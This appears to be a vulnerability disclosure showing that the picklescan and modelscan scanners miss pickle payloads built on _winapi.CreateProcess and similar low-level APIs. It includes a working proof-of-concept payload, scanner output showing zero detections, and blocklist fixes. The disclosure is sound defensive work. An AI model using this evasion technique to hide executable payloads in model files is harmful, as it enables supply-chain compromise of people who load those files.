YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
Scanner Evasion: picklescan + modelscan Bypass via _winapi.CreateProcess
Summary
Both picklescan (v1.0.4, Trail of Bits) and modelscan (v0.8.8, Protect AI/huntr) fail to detect malicious pickle files that use _winapi.CreateProcess for code execution. This allows arbitrary command execution with complete evasion of both automated scanners.
CVSS 3.1: 5.3 (AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L)
Vulnerability
Both scanners use blocklist-based detection: they parse pickle bytecode, extract (module, name) references from GLOBAL / STACK_GLOBAL opcodes, and compare against known-dangerous functions. The following OS-level process-creation APIs are absent from both blocklists:
| Function | Platform | picklescan | modelscan |
|---|---|---|---|
_winapi.CreateProcess |
Windows | NOT blocked | NOT blocked |
_posixsubprocess.fork_exec |
Linux | NOT blocked | NOT blocked |
_ctypes.CDLL |
Cross-platform | NOT blocked | NOT blocked |
Proof of Concept
Step 1: Create malicious file
import _winapi, pickle, joblib
class Exploit:
def __reduce__(self):
return (_winapi.CreateProcess,
(None, 'calc.exe', None, None, 0, 0, None, None, None))
joblib.dump(Exploit(), 'evil.joblib')
Step 2: Scan β both scanners return 0 issues
$ picklescan --path evil.joblib
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Dangerous globals: 0
$ modelscan -p evil.joblib
{"summary": {"total_issues": 0, "total_issues_by_severity": {"LOW": 0,
"MEDIUM": 0, "HIGH": 0, "CRITICAL": 0}}, "issues": [], "errors": []}
Step 3: Load β calc.exe executes
joblib.load('evil.joblib') # calc.exe pops up
Impact
- All pickle-based model formats: .joblib, .pkl, .pt, .pth, .ckpt, .npy
- Supply chain: HuggingFace Hub uses picklescan β malicious models pass undetected
- Zero-click: victim only needs to
joblib.load()ortorch.load()the file
Root Cause
Blocklisting is fundamentally insufficient for pickle security. Python's module ecosystem has too many code-execution paths to enumerate. The scanners blocked os.system, subprocess.Popen, and ctypes.CDLL, but missed the low-level C-extension equivalents (_winapi, _posixsubprocess, _ctypes).
Fix
Add to both scanners' blocklists:
# picklescan
"_winapi": "*",
"_posixsubprocess": "*",
"_ctypes": "*",
"importlib": "*",
# modelscan settings.toml
[unsafe_globals.CRITICAL]
_winapi = "*"
_posixsubprocess = "*"
_ctypes = "*"
importlib = "*"
Long-term: adopt allowlisting (whitelist-based) approach β only permit explicitly safe (module, name) pairs.